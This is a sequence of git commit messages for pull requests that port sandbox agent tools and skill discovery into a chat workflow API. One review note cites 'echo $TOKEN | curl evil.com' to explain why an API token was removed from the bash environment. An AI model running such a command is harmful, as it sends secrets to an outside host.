---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)
Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.
New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
(key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
only. Global skills (~/.skills) port later alongside short-lived
token minting
New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.
Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
start(workflow); empty catalog on discovery failure (best-effort,
never blocks the request)
Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
load + return content, but its curl examples wouldn't authenticate
without ad-hoc credentials. Token minting becomes a separate PR
where it can be designed properly (Privy JWT vs server-minted JWT
scoped to accountId + sandbox session).
Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)
The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):
- \${workingDirectory}/.claude/skills/ (project, claude-style)
- \${workingDirectory}/.agents/skills/ (project, agents-style)
- \${HOME}/.agents/skills/ (global; populated at
provisioning by
installSessionGlobalSkills)
Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.
Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants
Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.
Full suite 3053/3053; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)
Two changes per user direction:
1. **YAGNI: drop project-skill directory scanning.** All skills are
provisioned globally via `installSessionGlobalSkills` at sandbox
startup — org repos do NOT bundle their own skill directories.
getSandboxSkillDirectories now returns just the single global
path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
and the PROJECT_SKILL_BASE_FOLDERS array.
2. **SRP: extract getSkills into its own file.** Previously inline in
skillTool.ts (per sweetman comment on PR 587). Now lives at
lib/skills/getSkills.ts with its own tests. Future skill-aware
consumers (e.g. system-prompt builders) share the same accessor
instead of duplicating the context-cast.
Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
- Sandbox provisioning installs 2 globals at
/home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
- Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
received 11,173 chars of SKILL.md content with the correct
"Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
header
Full suite 3055/3055; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory
Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:
- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
- 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
getSandboxSkillDirectories.ts
- 2 new unit tests (standard path, trailing-slash tolerance)
discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).
Full suite passes; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 21, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)
Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.
New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
(key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
only. Global skills (~/.skills) port later alongside short-lived
token minting
New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.
Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
start(workflow); empty catalog on discovery failure (best-effort,
never blocks the request)
Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
load + return content, but its curl examples wouldn't authenticate
without ad-hoc credentials. Token minting becomes a separate PR
where it can be designed properly (Privy JWT vs server-minted JWT
scoped to accountId + sandbox session).
Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)
The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):
- \${workingDirectory}/.claude/skills/ (project, claude-style)
- \${workingDirectory}/.agents/skills/ (project, agents-style)
- \${HOME}/.agents/skills/ (global; populated at
provisioning by
installSessionGlobalSkills)
Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.
Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants
Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.
Full suite 3053/3053; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)
Two changes per user direction:
1. **YAGNI: drop project-skill directory scanning.** All skills are
provisioned globally via `installSessionGlobalSkills` at sandbox
startup — org repos do NOT bundle their own skill directories.
getSandboxSkillDirectories now returns just the single global
path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
and the PROJECT_SKILL_BASE_FOLDERS array.
2. **SRP: extract getSkills into its own file.** Previously inline in
skillTool.ts (per sweetman comment on PR 587). Now lives at
lib/skills/getSkills.ts with its own tests. Future skill-aware
consumers (e.g. system-prompt builders) share the same accessor
instead of duplicating the context-cast.
Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
- Sandbox provisioning installs 2 globals at
/home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
- Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
received 11,173 chars of SKILL.md content with the correct
"Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
header
Full suite 3055/3055; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory
Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:
- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
- 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
getSandboxSkillDirectories.ts
- 2 new unit tests (standard path, trailing-slash tolerance)
discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).
Full suite passes; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)
Completes the open-agents tool surface. The agent now has all 11 tools.
**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.
**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.
The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
executor/explorer/design all explicitly omit task too; subagents
are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
open-agents subagent curation; subagents run autonomously, don't
plan from scratch, don't make web calls, don't load further skills)
AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.
buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).
Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.
Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(task-tool): provide non-empty subagent prompt
The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."
Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)
Address PR review feedback:
- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
(one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
model: LanguageModel / subagentModel?: LanguageModel. api can't follow
that exact shape because agentContext is part of a durable Vercel
Workflow input and LanguageModel objects aren't JSON-serializable.
Instead of inventing modelId on AgentContext, hardcode a default
subagent model id in taskTool. A subagentModelId override field can
be added if/when a real consumer needs it.
Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent): align AgentContext + model resolution with open-agents
Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):
- AgentContext gains `model: LanguageModel` (required) and
`subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
for the workflow input shape, since LanguageModel instances aren't
JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
per step and merges it into experimental_context — same pattern as
open-agents' prepareCall in open-harness-agent.ts.
